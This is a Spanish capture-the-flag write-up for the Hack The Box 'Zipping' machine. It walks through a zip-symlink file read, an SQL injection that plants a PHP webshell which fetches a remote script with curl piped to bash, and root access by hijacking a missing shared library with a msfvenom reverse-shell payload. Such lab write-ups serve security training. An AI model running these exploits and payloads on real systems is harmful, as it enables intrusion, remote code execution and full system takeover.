Zipping - Hack The Box
Zipping es una máquina de dificultad media, que contiene una vulnerabilidad LFI, que nos permite descubrir una inyección SQL en el cual podemos alojar una webshell.Luego la elevación de privilegios a root es mediante una mala configuración de una aplicación.
Enumeración
Empezamos con un reconocimiento de puertos y servicios a través de la herramienta nmap. En el cual logramos detectar dos servicios(ssh,http).
# Nmap 7.93 scan initiated Wed Sep 13 11:07:57 2023 as: nmap -sCV -p22,80 -oN object.nmap 10.10.11.229
Nmap scan report for 10.10.11.229
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d6eec022d0f6a3860c6aaac1ee0c284 (ECDSA)
|_ 256 eb9511c7a6faad74aba2c5f6a4021841 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 13 11:08:11 2023 -- 1 IP address (1 host up) scanned in 14.09 seconds
Página web
Al ingresar al servidor web, observamos que nos permite subir un archivo zip, esto acontece a una carga automática de archivos Zip descomprimidos. Hacktricks comenta acerca de esta vulnerabilidad.
Automatización de lectura de archivos remotos
import requests,subprocess,sys,re
def upload_file():
url = 'http://10.10.11.229/upload.php'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://10.10.11.229/upload.php',
'Origin': 'http://10.10.11.229',
'DNT': '1',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
files = {
'zipFile': ('test.zip', open('test.zip', 'rb'), 'application/zip'),
'submit': (None, '')
}
response = requests.post(url, headers=headers, files=files).text
path_upload = re.findall(r'<a href="(.*?)">',response)[1]
# breakpoint()
url_path_lfi = "http://10.10.11.229/"+path_upload
print(requests.get(url_path_lfi).text)
comando3 = ["rm","-r","simple.pdf","test.zip"]
subprocess.run(comando3,check=True)
def upload_file_zip():
file_lfi = sys.argv[1]
comando1 = ["ln", "-s", "../../../../../../../../../../../..%s"%file_lfi, "simple.pdf"]
subprocess.run(comando1, check=True)
comando2 = ["zip", "--symlinks", "test.zip", "simple.pdf"]
subprocess.run(comando2, check=True)
if __name__ == '__main__':
upload_file_zip()
upload_file()
Inyección SQL
Al examinar los distintos archivos web, podemos analizar una potencial ejecución de comandos SQL(Inyección SQL).
➜ exploit python3 upload_file.py /var/www/html/shop/product.php
adding: simple.pdf (stored 0%)
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>
<?=template_header('Zipping | Product')?>
<div class="product content-wrapper">
<img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
<div>
<h1 class="name"><?=$product['name']?></h1>
<span class="price">
$<?=$product['price']?>
<?php if ($product['rrp'] > 0): ?>
<span class="rrp">$<?=$product['rrp']?></span>
<?php endif; ?>
</span>
<form action="index.php?page=cart" method="post">
<input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
<input type="hidden" name="product_id" value="<?=$product['id']?>">
<input type="submit" value="Add To Cart">
</form>
<div class="description">
<?=$product['desc']?>
</div>
</div>
</div>
<?=template_footer()?>
Acá se nos informa que hay una vulnerabilidad de SQL injection.
webshell
Una vez identificado la vulnerabilidad, procedemos a ejecutarla.
curl -s $'http://zipping.htb/shop/index.php?page=product&id=%0a%27%3Bselect%20%27%3C%3Fphp%20system%28%22curl%20http%3A%2F%2F10.10.14.211%2Frev.sh%7Cbash%22%29%3B%3F%3E%27%20into%20outfile%20%27%2Fvar%2Flib%2Fmysql%2Fcxshell.php%27%20%231'
#Decode url
%0a -> Salto de linea
';select '<?php system("curl 10.10.14.211/rev.sh|bash");?>' into outfile '/var/lib/mysql/cxshell.php' #1
curl -s $'http://zipping.htb/shop/index.php?page=..%2f..%2f..%2f..%2f..%2fvar%2flib%2fmysql%2fcxshell' # Para que interprete el código PHP
Escalada de privilegios
Una vez que hemos ganado acceso al sistema, podemos llevar a cabo un análisis de privilegios utilizando el comando ‘sudo -l’, lo que nos permite identificar los permisos específicos otorgados, incluyendo la capacidad de ejecutar la herramienta ‘stock’ como el usuario ‘root’ o cualquier otro usuario dentro del sistema.
rektsu@zipping:/home/rektsu$ sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
rektsu@zipping:/home/rektsu$
Aplicamos el comando ‘strings’ a la herramienta, lo que nos permitió recuperar la contraseña necesaria solicitada por la aplicación para continuar con la ejecución del programa.
Explotación
Empleamos el comando ‘strace’ para llevar a cabo un análisis de seguimiento a nivel del sistema, permitiéndonos examinar exhaustivamente las acciones y las solicitudes realizadas por el programa en ejecución.
rektsu@zipping:/home/rektsu$ strace /usr/bin/stock
execve("/usr/bin/stock", ["/usr/bin/stock"], 0x7ffc6d2fc2d0 /* 17 vars */) = 0
brk(NULL) = 0x558c83def000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffe9bc27b10) = -1 EINVAL (Invalid argument)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f792467a000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=18225, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 18225, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f7924675000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\3206\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=2072888, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2117488, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f7924400000
mmap(0x7f7924422000, 1544192, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7f7924422000
mmap(0x7f792459b000, 356352, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19b000) = 0x7f792459b000
mmap(0x7f79245f2000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1f1000) = 0x7f79245f2000
mmap(0x7f79245f8000, 53104, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f79245f8000
close(3) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7924672000
arch_prctl(ARCH_SET_FS, 0x7f7924672740) = 0
set_tid_address(0x7f7924672a10) = 29322
set_robust_list(0x7f7924672a20, 24) = 0
rseq(0x7f7924673060, 0x20, 0, 0x53053053) = 0
mprotect(0x7f79245f2000, 16384, PROT_READ) = 0
mprotect(0x558c83244000, 4096, PROT_READ) = 0
mprotect(0x7f79246b0000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7f7924675000, 18225) = 0
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0
getrandom("\xa8\xaa\x17\x41\x02\xdc\x56\x5a", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x558c83def000
brk(0x558c83e10000) = 0x558c83e10000
newfstatat(0, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0
write(1, "Enter the password: ", 20Enter the password: ) = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024) = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
Observamos que el programa en cuestión requiere un archivo denominado ‘/home/rektsu/.config/libcounter.so’, el cual identificamos como un punto de intervención donde podemos realizar modificaciones y ejecutar acciones según nuestras necesidades.
Creación del archivo .so.
Generamos un archivo de objeto compartido (.so) con contenido malicioso y lo ubicamos en la ruta donde el programa en ejecución hace referencia a su llamada.
msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=10.10.14.211 \
LPORT=443 -f elf-so -o libcounter.so
Transferimos el archivo manipulado al equipo objetivo y, una vez allí, ejecutamos la aplicación ‘stock’ con privilegios de superusuario (root), lo que nos proporcionaría el acceso a nivel de superusuario en el sistema objetivo.